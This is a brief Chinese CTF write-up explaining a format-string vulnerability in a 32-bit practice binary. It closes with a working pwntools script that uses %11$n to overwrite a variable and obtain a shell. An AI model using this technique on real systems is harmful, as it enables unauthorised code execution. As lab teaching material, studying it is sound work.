1.文件检查,是32位程序,ida编译,按F5得到C语言代码。2.观察代码,初始化buf数组后往其读入数据0x50个数据,buf数组大小是0x5C(十进制下为92),没有溢出。之后有printf函数,打印给x数值,当x==4满足条件条件时直接执行system(/bin/sh)。所以根据存在printf函数,利用格式化字符串漏洞,使得x值为4,就可以getshell。
3.点击printf函数,或再按tap和空格键找到函数调用位置0x80485C4,在gdb上下断点,运行,输入一段数据,得到偏移量为11。
4.32位程序地址本身是4字节,再加上b'%11$n'就可以满足条件构造payload(为平衡栈可以加上些参数)。wp如下:
from pwn import*
io = process('./fm')
#io.recvline()
bin_addr = 0x804a02c
payload = p32(bin_addr) + b'%11$n' +p32(4)
io.sendline(payload)
io.interactive()